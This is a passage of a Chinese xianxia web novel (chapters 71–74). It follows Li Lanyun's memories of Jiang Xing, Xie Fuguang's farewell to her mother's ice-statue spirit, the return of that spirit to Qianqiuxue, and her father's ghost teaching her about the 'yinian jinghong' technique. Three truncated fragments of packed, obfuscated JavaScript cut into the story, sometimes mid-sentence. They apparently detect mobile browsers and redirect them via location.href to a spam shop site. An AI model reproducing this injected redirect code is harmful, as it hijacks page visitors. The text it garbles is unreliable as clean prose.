当晚,李兰允摊开满手水泡,一边面目扭曲地任由江星用针挑破后上药,一边眼皮子还不停打着架。 药上完时,他人也基本睡撅过去了。 迷迷糊糊听到江星问:“早上的问题,有感悟了么?” “今夜你能睡个好觉了。” 开始做工的第一天,李兰允从前还是少爷时便深受其扰的失眠顽疾无药自愈了。 71.百丈冰 日子一天天地过,李兰允先是跟着江星做工,不知不觉,竟也昏了头似的不时同他一起做件好事。 城中人失了忆般,忘却了有关李兰允的“夺舍”传闻,与忘却他们曾带给李兰允的伤害一样轻易。 李兰允逐渐成为了一个像江星那样人们在提及时会心生尊重的人。 这一年他十八岁,距离及冠还有两年。 他无需倚仗李家,不用靠江星庇佑,他的灵魂已足以凭自己立于世间。 而当年百思不解的问题,早已在琐碎日常里有了答案。 李兰允做少爷时读过些书,他大概承袭了李老爷做生意的头脑,也在集市上做了点小本买卖,他和江星搬离贫民窟,住进了一间小小的石房子,日子越过越好,每月甚至能吃一顿肉。 这样的日子,他很知足。 又一个冬夜,江星发起高热,穷人的小病也是劫难,李兰允很担心,在床边一直守着,江星烧得迷迷糊糊,说着胡话叫他去睡。 “我没事,我体内有半根灵脉,体质比大多数人要好……” “灵脉?” 彼时城中灵脉移植的热度已褪,李兰允也与这推他入深渊的东西达成了和解,闻言只觉疑惑,他以前从未听江星提过。 想到江星耍小木剑时的利落身法与漂亮招式,李兰允不由替他可惜:“你有灵脉,怎么没去试试修道,我看你练剑可比李家那个李武超赏心悦目多了,没准儿真能修成仙道呢。” 李武超即是李老爷大摆三日认亲宴迎回的“转世爱子”,用李兰允的话说,这孙子毕生辉煌都集中在诊出灵脉的少年时代,越长大越废柴,恐怕过不了几年,李老爷又要说自己当年认错儿子了。 他越说越有兴致:“你若成了仙,我这当朋友的岂不也跟着鸡犬升天?” “修成仙道哪那么容易?再说……咳咳……”江星闻言轻声笑笑,又牵动一阵咳嗽,李兰允忙给他喂水,缓过这一阵他才接着道,“再说我那灵脉只剩了半根,强身健体可以,存蓄灵力却是再不能够了。” “只剩半根!”李兰允浓眉蹙起,“这是怎么回事?” “当年被抓去剜了灵脉,”江星淡淡说,“我是那批孩子里的第一个,贩子许是新手,一刀落偏,剜废了。” 说起此事,他没什么怨怼,甚至觉得比起后来被剜的那些孩子,自己运气还不错,留下半根,身体强健好养活,不然他终年吃不饱穿不暖,都不一定能活这么大。 又是灵脉移植! 此事真害人不浅! 当年他在父母诱导下种过灵脉三次,深谙此痛,想来活生生将灵脉剜去只会更加痛苦。 “哪个王八蛋剜的?我去宰了他!”一时新仇旧恨齐涌心头,李兰允堪称暴怒,整个人都被火气顶得跳起来,过高的个子险些撞到房顶。 江星对他的不稳重一向颇有成见,皱着眉抬起手背做了个下压手势:“当年太小,早记不得了。” “再说,你连我都打不过,能宰谁?赶紧去睡觉才是正经。” 江星对灵脉的失去接受得堪称平淡。 俗世万千,各有各的活法,出人头地固然好,可没了那个能力,人总还得向前走。 须知囹圄都是自设的,放下遗憾才不会被过去困住。 李兰允却不这样想,他用不到两年时间,学会了如何在泥一样的地方滚出精彩,又落落大方地将自己洗净擦干,过回体面人的日子,却始终参不透乐天知命四字。 以致后来他时常会想,如果当初听江星的话,不汲汲于这半根废灵脉,踏实活在当下,许多事就不会发生了。 一道旱雷劈下,震耳巨响里,小美人收缩身形,载着众人灵巧避开。 李兰允暂止了话,抬眼望向前方。 万里晴空不再,底下屋舍越来越稀,就连空气都显见污浊起来。 “快到了。”崔惊厄同样望着周遭,没什么表情地开口。 谢扶光闻言,缓慢动了动,左侧大臂因失血一阵麻木,垂头看整条绷带已完全染红。 她正打算向舒扬舟再讨一条重新包好,崔惊厄已拿了伤药走来。 刻意缓和过后,两人间别扭淡去一些,谢扶光挪了挪身子,把左臂一侧露给他包扎。 李兰允始终看着他们,透过那简单动作,似在怀念什么。 崔惊厄轻轻上完药,取出块与谢扶光衣裳同为湖蓝色的方巾为她包好伤口,系了个小巧漂亮的结。 “你哪弄来的?” “溪桥镇市集上买的。”下龙背那会儿,崔惊厄看似为躲她打而匆忙跑走,实则是去买了这布巾,“就这一块,所以你不能乱动,再被血浸了就没有了。” 谢扶光去见与她母亲有关的东西,必会想着遮一遮身上伤,人之常情。 “你倒是有心,审美也好。”黎暨在旁津津有味看着,啧啧品评。 “每年祭拜我爹时养成的习惯。”崔惊厄随口道。 “你爹?”谢扶光没听他提过。 “嗯哼,”大小姐主动搭话,崔惊厄挑眉拿了个小小的乔,“不然我石头缝里蹦的么?” 又开始油嘴滑舌了,谢扶光垂眸时翻了个小小的白眼。 崔惊厄看乐了,说:“出去了我带你一起见他。” 越近瀚海,气候越不好。 同为荒漠,瀚海却与日照强烈的万里悲丘迥异,整片区域之上黑云压境,阴风缭乱。 扑面狂风缴缠五官,众人逐渐开口不得,视物都困难,小美人也放缓了腾行速度。 这样又走了近半个时辰,于浓云最黑处,龙身缓缓降落,小美人应是很不喜此地,难得没要求留在外面玩,一落地就直接缩进藏蛟剑里。 不止小美人,瀚海乃阳界阴气最重之处,在场修为越高,身处此境便越难受,相较而言,李兰允十九年与体内阴魂打交道,反倒是最适应的一个。 他们降落的地方仅有一片空茫荒漠,没有灵门,神识放远,也探不出机关之类的东西。 “李公子,不知我母亲托你交予我的是何物?”谢扶光不由问。 李兰允反应了一会儿,而后缓慢道:“我也不知道。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947940|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “给我东西的仙长只说,带着灵钥前来瀚海,就能见到。”环视这比他脸还干净的四周,他也很困惑。 谢扶光点点头,心下暗忖:相见的主动权既在瀚海中的“东西”手上,想来母亲留给她的“东西”应是有灵识,灵钥则更像个信物凭证。 “是……” 正自想得出神,一道空灵女声响起,却只出一个如见故人的音就没了下文,恍若错觉。 “师妹是你说话了么?”黎暨问谢扶光。 那声音显然不是她的,谢扶光没答他明知故问的话。 适才的女声虽短,谢扶光心尖却跟着颤了一颤,这声音她恍惚在哪听过,或许是很遥远的从前。 鬼使神差,她越众而出半步,目光定定望向声音传来的虚空。 “是我母亲么?”她轻轻问。 “哈……”女声似乎笑了一下 ,紧随而来一阵缭乱变幻,变动停息时,四周阴风浓云不再,却也不似童话那样化为鸟语花香的绿洲,他们仿佛来到一个单独辟出的空间,无风无声,什么都是寂静的,满目虚无中,惟一座百丈雕像矗立眼前。 人身像以冰雕成,像中女人眉目温婉,却叫满身寒凉气渲出几分肃杀与庄严。 众人都是头一遭见如此宏伟的雕像,不由都面现惊异,盯视良久。 其中以谢扶光凝睇的时间尤其长。 她见过宛流萤的画像,与眼前冰雕一模一样,神韵都未被磨平分毫。 仔细看,环绕冰雕有几丝灵气流转,很微弱,但确然存在。 谢扶光心脏愈跳愈烈,一个猜测缓慢成形,挥之不去叫嚣于脑海。 “是母亲么?”她又问了一遍。 话音落下的瞬间,冰雕竟然动了,“她”滞涩地低下头,垂目看了谢扶光的脸好一会儿,然后说:“你长得同你父亲更像些。” 看来宛流萤确有几缕神识未陨,存留于冰雕之上。 谢扶光张了张口,又颓然抿住唇,因不知该同母亲说什么,而下意识烦躁地捏了下拳。 “怎么受伤了?”宛流萤先开口问。 谢扶光有些发愣地抬眸与她对视一会儿,才后知后觉看向左臂,因适才攥拳的动作,螭寐抓出的该死伤口又渗了血,一照面就暴露给了她母亲。 但因祸得福,这伤为她们的对话开了个好头,词穷的大小姐顺着说下去:“前不久打斗时受了点小伤,我们杀了螭寐。” “等从您这里出去,我就去杀颜琅,”谢扶光越说越多,表情和语气都很认真,“到时候我提着他的头来见您。” 宛流萤听后却笑了:“不必,此方空间一旦开启,我的神识将在一个时辰内消散殆尽,魂归天地。你若有心,不如将我血躯化成的这副冰雕沉入千秋雪吧。” 千秋雪位居人界至南,乃谢白扇的埋魂之地,与极北瀚海处在两个极端。 与母亲这一见竟是永别。 谢扶光绷紧浑身骨肉咽下酸涩,三息过后,再抬头时,她眸中一抹凛冽划过:“母亲等我这许久,是有话交代吧,我洗耳恭听。” 72.厉鬼境 宛流萤看着女儿,沉默了少顷。 谢扶光生得很像谢白扇,尤其一副凤眼,但性子还是更像她一些。 性刚烈,不喜笑,惯隐忍,自以为将情绪藏得很好,实则左臂再度外涌的鲜血早将她心下起伏泄露了个干净。 坦白讲,当年她生下谢扶光没多久,就远逃瀚海,在这儿一伫就是二十年,身负血债,心压仇恨,其实没多少感情能拿来分给这个被她抛下的女儿,既无牵肠挂肚,也未时刻惦念,就连今日感应到灵钥气息,她也迟迟未出来相见。 她在担心,在怀疑,在发自内心忌惮着这个被谢白扇壳子里的颜琅养大的小姑娘,尤其…… “你魂魄里的鬼气,还没想到法子去除么?”宛流萤问。 “没有,”谢扶光先是惊讶于母亲也知她魂魄内鬼气一事,紧跟着摇了摇头说,“但这一次我不会再受他操纵,如那鬼气有主导我神识之兆,我会及时自戕。” “你不必自戕,”宛流萤截断她的话,“若手里未握着什么,我又何须劳心费力远逃这一场?你的鬼气我能解。” 宛流萤说着,提起沉重步伐朝谢扶光走近,谢扶光忙向前迎了几步,宛流萤垂首将右掌覆上她天灵盖,谢扶光只觉如同寒冬夜兜头浇下一盆冰水,登时从头顶凉至足底,她忍住哆嗦,只痉挛般颤了下睫毛,抖落几粒细碎冰晶。 但她顾不上这近乎冻住血液的冷,因为面前宛流萤的右手消失了。 “母亲……”不知冷得还是惊得,谢扶光带了颤音。 “别慌,”宛流萤淡然依旧,“总归我这副冰身仅剩不足一个时辰的寿数,紧着最后时间折腾些也没什么。只是你身上这冷将持续一阵子,你得吃点苦头。” 谢扶光刚要说没事,宛流萤先替她答了:“但我知道这点冷别人或许受不住,你却是最能吃苦的,毕竟……颜琅培养了那么多容器,只有你活下来了。” 谢扶光不解这最后一句是何意,面露疑色。 “为你解鬼气,仅是我等你来的目的之一,关于杀颜琅,我还有些话要告诉你。”宛流萤接着道,“厉鬼并不好杀,它肆意寄生于他人躯壳,魂魄不能捕获,即便杀掉他的生时躯壳,也仅可损其三分修为,无法造成重创。” “真正对杀他起决定性作用的,其实是他堕鬼时相伴而生的厉鬼境,二者一荣俱荣一损俱损,相距越近,厉鬼能从中获得的能量就越强。他如此精心培养你,并非是想亲自占你躯壳,而是他想把厉鬼境置于你体内放在身边。” 众人此前都从未听过厉鬼境,皆屏息凝神,衬得此方狭小空间更静了。 “厉鬼境乃厉鬼的力量之源,煞气浓郁,放眼世间,即便是妖魔界,也没有合适容纳厉鬼境的躯壳,”宛流萤边说边向下滴水,她的冰身从断手开始,已经在化了,“所以,他只能亲自动手培养这个珍贵的容器。” “你一出生就被各宗大能前辈断为根骨奇绝,命力强韧,颜琅大概正是那时动的心思,彼时他已培养了数个失败的厉鬼境容器,那些孩子死的死邪的邪,命丢得很冤枉……” 每失败一次,颜琅都愈加焦躁一分,适逢宛流萤产下谢白扇的遗腹子,全修界盖章了命硬抗造的天纵奇才,颜琅自然蠢蠢欲动。 他在谢扶光婴儿时代便向她体内注入自己的魂力,逐步建起她与厉鬼境的联系,魂力注入不算多,拿捏着刚刚好的分量,若非卢笑绒、叶放这等天赋异禀之辈,完全窥不见端倪,但谢扶光的的确确是在他少量多次注入的魂力里浸了二十年,又堪称奇迹般活了下来,没疯没死,甚至还颇为出众。 颜琅心下时常喟叹,谢扶光真是谢白扇留给她的礼物。 她每一根经脉、每一块骨头都被他塑造,成为最宜与厉鬼境匹配的模样,只待在某一天彻底将厉鬼境容纳,做他近在咫尺的能量源泉。 而这一天,就是万里悲丘的秘境试炼。 “容器唯有亲至厉鬼境,方能将其容纳,”宛流萤身上的水已淌到谢扶光脚边,像一小片泪凝的湖,她声音依旧淡淡的,甚至带了几分如释重负的快意,“据我查到,颜琅的厉鬼境正成形于万里悲丘。” 难怪颜琅留她苟活了二十年,原是一心等着万里悲丘的这场试炼。 “但厉鬼境在万里悲丘的具体位置,我还不待查到,就遭颜琅警觉,被他追杀至此,这便需得你自己找了。” 宛流萤化身成这副不人不鬼的模样,冻进现实空间的夹层里,便是为着隐匿所有气息,让他遍寻不见,留一口气将这些话传出去。 “好,我一定找到。” 谢扶光如此保证并非托大,而是就在宛流萤提及厉鬼境之时,她想到了天道曾告诉她的话:“前一世,你闯过万里悲丘1001境,见了我一面……” 当时她还曾疑惑,一直以来,修界流传万里悲丘之内一直是一千秘境,为何在天道口中却成了1001? 现在看来,多的那一境多半就是厉鬼境了,既融入了万里悲丘试炼场,她便有那作弊的白光提示,要寻到应当不难。 “此外,厉鬼境的破境方式还另有玄机。”融化的水模糊了宛流萤的五官,她声音都缥缈起来,“厉鬼的成形最重在那一念之差,你们要打败的便是那一念,我所知只有这些,剩下的就都交给你们了。” 她说着,视线离开谢扶光,礼节性扫视了一眼其余众人,先向李兰允道了声谢又致了句歉,最后在目光游经崔惊厄时,她多停顿了一会儿。 冰身的眼睛也开始化了,眼前蒙着层模糊水雾,显得面前男子更像故人。 “你认不认得崔成阳?”宛流萤问崔惊厄。 崔惊厄彬彬有礼一拱手:“那是我父亲。” “怪不得你们这样像,”宛流萤含混喃喃,“白扇当年正是去见了他后,整个人就开始不对劲了,想来那次就已经……” 谢白扇生前无拘惯了,没将灵力注入过仙盟命石,大家知他艺高人胆大,也都纵着他,谁承想竟为颜琅的剥魂夺壳提供了便利,谢白扇魂魄什么时候死的都没人知道,只有宛流萤这做妻子的敏锐些,能猜测出几分。 “我、白扇和你父亲生前是很好的朋友,”提及往日欢愉时,宛流萤声音里总算现出微许黯然,“若厉鬼不曾降世……” 她话音顿住,终是没放任自己畅想那不着边际的“如果”。 谢扶光素来务实,也没有想。 崔惊厄却浪漫地顺着动了个念头。 若厉鬼不曾降世,崔家谢家两家交好,他与谢扶光大概会是青梅竹马,在充满爱与欢笑的环境长大,他依旧喜欢玩闹逗她,她那点骨子里的骄矜或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967794|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许要更外放些,他们时而过招对练,时而结伴下山,除妖或玩乐…… 想到最后他也止了念头,心态颇佳地想:如果那样很好,现在这样也很好,总归他们都还活着,就有机会把那本该属于他们的“如果”赢回来。 宛流萤说自己能撑不足一个时辰,实则不过两炷香时间,她冰身的外轮廓就几乎化完了。 趁她还能说话,崔惊厄忙问道:“前辈,晚辈犹有一事相求。” “李公子曾说,开启此方空间的灵钥使用过后,会在一个时辰内粉碎,而李公子为护灵钥,开启化影境与灵钥融为了一体,灵钥碎势必危及他性命,不知前辈可有法子救他?” “此事你们无需忧心,”宛流萤的声音越发淡了,“李公子于我有恩,这些年已然受苦良多,我自不会再让他因此事送命,与灵钥达成感应前,我便在他身上施了道护体罡气,只要能在半月内终止化影境,他就不会有事……” 她声音越来越淡,及至最后已不能再开口,也逐渐无法视物,仅剩几缕灵识犹绕着那冰雕苟延残喘着。 谢扶光在原地怔然站了一会儿,她的鬓发结着霜,四肢百骸冲撞的冷意代替她反刍适才母亲把手搭在头顶的冰凉触感。 少顷后,她略显涣散的双瞳陡然回神,从随身储物袋里取出个空间法器,将宛流萤的残存冰身、冰身周围环绕的灵识与化在地面的圈圈水迹一并装入其中。 “母亲,你再撑一撑,我带你去见父亲!” 她此话刚落,众人犹自发怔之际,崔惊厄已拍了拍藏蛟剑:“小美人,去千秋雪,疾行,越快越好,不用管我们。” 小美人将身形化到最大,一个腾跃即是百里,行进堪称神速,最精良的飞行法器都望尘莫及。 与之相伴而来是剐面的狂风,众人只能伏低在龙背,死死抱住龙脊,以防被强劲气流卷离龙身。 好在此程虽煎熬,却并未持续太久,至少谢扶光怀中空间法器内宛流萤的灵识尚未散尽。 只是相较宛流萤,看起来状态更差的是谢扶光,她体内本就有寒流冲撞,又经这堪称不要命的赶路磋磨,下龙背时膝盖一僵险些倒地。 她被崔惊厄一揽稳住身形,刚站直又匆匆向前跑去,几步路光景,鬓发和眼睫的霜已飞了一地。 千秋雪的气候始终停在阳春三月,他们踏入时,有梨树落花相迎,而湖面却结了一层经年不化的坚冰。 那冰层不食血肉不开,谢扶光刚至湖岸,就扯下左臂崔惊厄包扎的湖蓝色方巾,五指发力狠狠挤压创口附近,力道大到她疼得紧了紧牙关,之前还汹涌肆流的血却被她体内寒气冻住,根本挤不出几滴,她心里着急,正要提起乐命往伤口里戳,刀却被另一只手夺过。 崔惊厄站到她身边,夺她刀时掌心握的是刀刃处,但听一道利刃破肉的闷响,大片血花从他掌心飞溅,开在千秋雪的湖面,湖面冰层应声消融。 可惜血不够多,化的还不够快,按这个速度,不待将宛流萤送入湖中与谢白扇团聚,她的灵识就要散尽了。 崔惊厄又要再加深那道近乎见骨的伤口,却听身边“噗呲”一声,他闻声转头,竟见李兰允不知从哪摸出把刀,朝着自己前胸就插了进去,如柱血流喷涌在湖面,那坚固冰层再难抵挡腥气诱惑,当即豁开一个缺口。 73.谢白扇 “李公子……” 李兰允胸口的血涌得太凶,顷刻间已将外裳洇湿大片,瞧进眼中极尽骇人。 谢扶光忙上前,伸手试图撑住他身体。 “我没事,”李兰允却没要倒的意思,血色染红视野,他缄默垂眸,一脸淡漠,“化影境尚未解除,我血肉很快能再生,你尽快办你的事吧。” 十九年来,螭寐为逼他死,对这具身体无所不用其极。 如今的他,身躯看似完好,实则每一块皮肉都不知已换过几遭。 当年一点小伤就要龇牙咧嘴大半日的小少爷,现已不怕疼了。 江星若见着此时的他,该要赞他勇敢。 但还好他看不见。 李兰允的伤的确好的很快,几句话功夫,那幽深可怖的创口即已阖起大半。 谢扶光打开盛着宛流萤的空间法器,见到其中虽孱弱但依然存在的灵识,克制地小松一口气。 “母亲,待我杀了颜琅,再来看您和父亲。” 说着,她双臂缓缓倾斜,将宛流萤送入千秋雪。 李兰允的血被湖水噬尽,冰层很快重新凝起。 四野苍茫,重归死寂。 谢扶光感到体内寒意一点点平息,眼角眉梢的冰碴消融,她就跪在岸边,向着湖面六度叩首。 做完这一切,她直起身,各种各样的事在她脑子里迅速兜过一圈,她于瞬息间已理出头绪。 “化影境中的事已办完,”她看向李兰允,“李公子您之后想在哪儿生活,我们捎您一程,到了地方您便可终止化影境了。” 提到“以后”,李兰允面现茫然。 今日一切如同幻梦,从瀚海隐藏空间的开启,到与宛流萤的对话,他心心念念十九年的事,似乎只用了一瞬间就已办完,他的期盼、他的使命随之一同终结,他终于能再度以参与者的姿态看一看这世间,却遍寻不见人间与他的一丝关联。 他想了很久很久,最后下定决心般开口:“我,我能去见见江星么?我知道他已认不出我,我就只远远看一眼,不会扰他修炼。” 他们已太久没见,想想还有点情怯。 李兰允呆钝的眼里亮起几许希冀的光,谢扶光不忍拒绝,却也难以再骗下去。 “李公子,其实……”她上下牙齿撕啃着嘴唇内侧的软皮,半天挤出几个字,自觉磨叽得可以。 吞吐好半晌,谢扶光总算下定决心,咬一咬牙,打算将事实和盘托出。 而不知是救她于难以启齿,还是留她到下回再磋磨,就在谢扶光张口欲言之际,千秋雪的冰层骤然从湖底炸起一声巨响,打断了二人对话。 响动来得诡异,且声势浩大,所有人注意力都被吸引了去,惟李兰允僵立原地,细细品着谢扶光适才说话时的一切表情。 有点遗憾,经过十九年不人不鬼的日子,他察言观色的本事依然那么好。 众人提步趋向湖岸,为免让旁人因他分神,他佯作无事,也敛起容色,行尸走肉般跟过去。 但见炸开的冰层之下,千秋雪素来平静的湖心暗流汹涌,似有什么要从不见天光的湖底挣扎着涌入人世间。 如此动静绝非寻常,谢扶光紧了紧握乐命的手。 而湖心亡灵们一时却未有动作,它们只是盘聚湖面,似在等待什么。 它们按兵不动,谢扶光也并无先开口的意思,两相僵持半晌,头顶风云都被这浓重氛围染变了色。 终于,湖面再度传来响动,竟是亡灵们左右列成两队,在中间空了条通路出来。 这是谢扶光第一次来千秋雪,只觉它毫不似传闻中那般怨气深重,甚至颇有秩序,纪律严明。 她不由对即将被迎出来的东西生出几分期待。 很快,两列亡灵之间的湖面又动了,这次动静很轻,只荡起几道浅浅涟漪,但随着这动静,湖上空暗下来的天色重归晴朗,日光射下,漾起点点金波,观之吉祥。 点点金波缀连成一片暖色光晕,一个熟悉的虚影若隐若现。 谢扶光呼吸狠狠一颤,握紧乐命的五指骤然就松了。 金光正中心,谢白扇双手抱臂,以一个懒散的姿势挑眉含笑与她对视,左腕还缠着宛流萤残存的几缕孱弱灵识。 这是她真正的父亲,那天命风流的仙盟盟主。 他一出现,无需开口,她就能知道。 “没良心的小丫头,二十年了,来看我还是头一遭。”谢白扇说着,虚影指尖还绕来绕去逗着宛流萤的灵识玩。 “我……”谢扶光被骤然的惊喜砸得近乎失语,一不留神就措出句不合时宜的话,“我之前不知道您死了。” “哎——”虚影果然露出个牙疼表情,舌尖抵了抵下牙内侧,末了挥挥手,“算你童言无忌,我就不为老不尊同你计较了。” “但另一件事我还是得好好计较一下的,怎么受了这么重的伤?”谢白扇朝她左臂努努嘴。 谢扶光体内寒气已褪,被冻住的血再度欢快流淌起来,尤其刚刚为开冰层,她还用力按压过伤处,这会儿整条手臂尽已染红,有点不能看了。 “不算多重,只有五个血洞,皮外伤。”见父亲始终笑眯眯的,比宛流萤瞧着亲切许多,她小声辩驳一句。 谢白扇闻言,却从鼻子里哼出一声:“看来,这次的教训还是没长记性,你说是不是,崔贤侄?我看你那一下白替她挡了。” 谢白扇竟知道他们与螭寐对战的事? 谢扶光两眼微圆,愕然看了父亲一眼。 “看什么?有话就直接问,别跟着你那个鬼爹净学点遮遮掩掩的小家子习性。”谢白扇叱她一句,这才说,“放心,我没那监视你的癖好,只是乐命刀鞘机关里沉睡着我部分灵识,机关触发前后会短暂苏醒。” “说起来,我魂入千秋雪时,还遗憾没跟崔兄给孩子们定个娃娃亲,好在你们俩倒是主动。” 想到螭寐爆体之际,心绪激荡至在崔惊厄怀里脱力的自己,谢扶光顿觉有点丢脸。 谢白扇捕捉到她一闪而逝的尴尬神色,眼珠一转又开始逗女儿:“这就害羞了?我还没提你看见我留给你那红绸的时候,眼圈都红了呢,我这么强韧的脸皮怎么就没传给你嘶……” 说到最后,宛流萤残存的灵识发力缠了他一下,这妻管严总算闭嘴了。 谢扶光看着金光中心的虚影,难得品出丝丝幸福意味,与儿时幻想过的阖家欢乐感觉很像,她抿唇轻勾起唇角。 “父亲,”她问,“我母亲,您有办法么?” 闻言,谢白扇眉眼间流转的慵懒总算给正经腾了点地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996680|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “乖乖,有些事呢,欲望太盛,就会将喜事变为悲事,我们一家三口能有今日相聚,已是难得的福气了……” “所以您有办法么?”谢扶光反将他一军,“您刚教育过我,有话要直接说。” 这回谢白扇沉默了一会儿才答:“怕什么,阴曹地府有我陪你母亲一起,人间的路也有人伴你同行。” “您也……”谢扶光瞳孔轻颤。 “我寿数早该尽了,只是还有事放心不下,近几年一直采湖底恶魂的魂力支撑着苟活,每逢入夜常不堪其扰,今日你来,我正好卸下担子长眠享福。” 谢白扇说着看她一眼,见她苦哈哈一张脸,终究是叹息一声:“我和你母亲生同寝死同湖,如此浪漫又快哉的事,你皱眉干什么,你这么看不开,我都不敢将见面礼给你了。” 谢白扇一个无躯之魂,能有什么见面礼呢? 他既说有事放心不下,多半是像叶放死撑着要传下闻香识物之力、宛流萤苦候十九年为她驱除鬼气并将杀颜琅的方法传授给她一样,是有重要物事交代她。 但她这一双父母,前前后后先出现又紧跟着要消失,拿她的心脏当秋千荡着玩,还站着说话不腰疼地让她看开,谢扶光很有些气恼。 于是她推了把崔惊厄,负气道:“他说不敢给我了,那你去领吧。” 崔惊厄:…… 谢白扇:…… “乖乖,你的‘一念惊鸿’练得如何了?”对上她突如其来的小性子,谢白扇笑一声,突然提起练刀的事,四两拨千斤般挥散了她的小脾气。 一念惊鸿乃霜寒十四式那七式刀式中的最后一式。 谢扶光习前六式只用了一个春天,最后一式的精髓却花上许多个春天也未能领悟。 鲜有人知,霜寒十四式从前只有十二式,最后两式乃后来仙盟盟主谢白扇与其挚友崔成阳新添上的,谢白扇的刀就叫惊鸿刀,一念惊鸿也由他所创。 犹记当时谢扶光破天荒拿着刀谱去请教“谢白扇”,只得到“你要自己领悟,勿寻捷径”的敷衍答复。 现在想来,谢白扇壳子里的颜琅或许也未能掌握,说不出个所以然。 “并不如何,请父亲指点。”几日来事情太多,一颗心堪称跌宕颠簸,谢扶光见到父亲都没能想起这一茬,这会儿他既主动提起,她自然识时务地顺着接下去。 谢白扇没有立刻出言指点,而是抬手指了指周围,示意她看向左右夹道簇拥着他的亡灵们。 “收拢它们便是一念惊鸿的功劳。”说起练刀,他敛去眉宇间的玩世不恭,“当你领悟了那一念,便无需乐命,世间万物皆可成为你的刀。现在我将它们转赠给你,但能不能驱策得动它们为你做事,便看你自己的本事了。” 他说得很淡,谢扶光却听得暗暗心惊,心惊之余,又有滚烫血液顺着脉搏上涌,在她脑海炸开浓郁渴求。 二十年来,谢白扇在她印象里始终面目模糊,只是个淡漠冰冷得像块坚硬顽石的仙盟盟主,仙盟史册上那些精彩卓绝的风流事迹与他本人堪称割裂。 而这一刻,曾读到过的惊艳字句骤然就落到了实地。 谢白扇是个怎样的人呢? 他在修界,整个仙盟以他为尊; 他入鬼蜮,魑魅魍魉向他称臣。 74.一念生 “想学啊?”谢白扇看出她的跃跃欲试,弯着一双凤眼朝她笑。 那双眼的确与她的极像,堪称一个模子下精雕细刻的传承。 谢扶光暗暗想,容貌相似,那是谢白扇的本事; 而承袭谢白扇的能力,不堕父亲威名,便是她该努力做到的事。 她用力点头,期待能听到什么武学真谛。 “这一念得靠你自己悟,我教不了你。” 谢扶光:…… 亲爹给的答案竟与几年前“鬼爹”给的一样敷衍。 “我听刀鞘说,你把乐命的刀灵给杀了?”谢白扇又换了个话题。 “您生气了,所以不教我么?”对那只被她扼杀于萌芽的刀灵,谢扶光也不无可惜,器墓迷阵刚通关那会儿还问过崔惊厄,他当时说刀灵还是有希望再生的,于是她说,“我可以重新把它养回来。” “先省省吧,”谢白扇却摆手,“我哪就那么小心眼了?” “我是想说,你之前把刀灵扼杀或许不是件坏事。每件法器一生最多自发而生一只器灵,器灵性情与主人对刀意的把握息息相关,不若待你真正能领悟这把刀时,再放任其孕育生长。” 谢扶光听得一知半解,只觉很麻烦,养只刀灵还需得她领会刀意,器灵也需要胎教么? “又不耐烦,我说乖乖,你这脾性真得好好磨一磨,”谢白扇接着说,“乐命虽非我所锻,锻刀之前,其要呈现出的刀意却是我事先告知给器修大师的,我看你离掌握它还差得远。” 乐命的刀意即:以刀柄护亲友,以刀刃斩阎罗,以刀鞘敛锋芒,以刀名乐天命。 谢扶光自视相比从前,她对刀意的把握已进步了一条之多——自从身边重聚起好友,她便逐渐懂了刀柄的含义。 只是后两条,她只当它们添来凑数,从未思考过。 “一念惊鸿是二十三年前我与你崔伯伯同游绛腾江时所创,当时我们被江中水鬼包围,生死一线,我们背抵背互为盔甲,九死一生突围。”谢白扇说话向来前言不搭后语,但往往说到最后,抛出的根根蛛丝都能缀连成网,除去刻意逗人的废话,没有一句多余,“我于重重围困中悟得那一念,便是‘置之死地而后生’。” 置之死地而后生…… 听来并无稀奇,甚至像是故弄玄虚。 “这一念听来简单,但你做不到。”谢白扇看出她的不以为然,直言点出,“我知道你不服气,更知你有一根坚硬的骨头,即便一朝血肉分崩,魂魄离析,亦有只进不退之勇。多数人难做到的‘置之死地’,于你不算难事。” “但你懂那后半句么?止戈方为‘武’,战斗的真谛在于死中求生,而你往往不存生念,你只是想赢,哪怕两败俱伤同归于尽,你也一定要赢。过强的胜负心,此谓‘不敛锋芒’。” “至于乐命,那从不是生来顺遂者口口声声的标榜,而是无论命运给你什么,你都开怀相迎,始终不厌世,更不罪己,在见过极致的卑劣后依然愿为那一念生而勇往,愿以双足扎根在这善恶美丑交织的复杂世间,这才是真正的‘乐天命’。颜琅没好好养你,或许让你误以为活着也不过如此,没什么意思,但你身边有伙伴,你不是头孤狼,你得拿你的命当命。” 说到这儿,谢白扇顿了顿,缓一口气才又道:“刀鞘中机关开启的一霎,我能短暂感应你于生死之间的心绪。” 他点到即止,没当着众人明白说下去,谢扶光却垂头抿了下唇。 谢白扇没有说错,螭寐爆体之际,若没有崔惊厄突如其来横插进的一脚,她甚至不会感到恐惧,仿佛死了也并非什么大事。 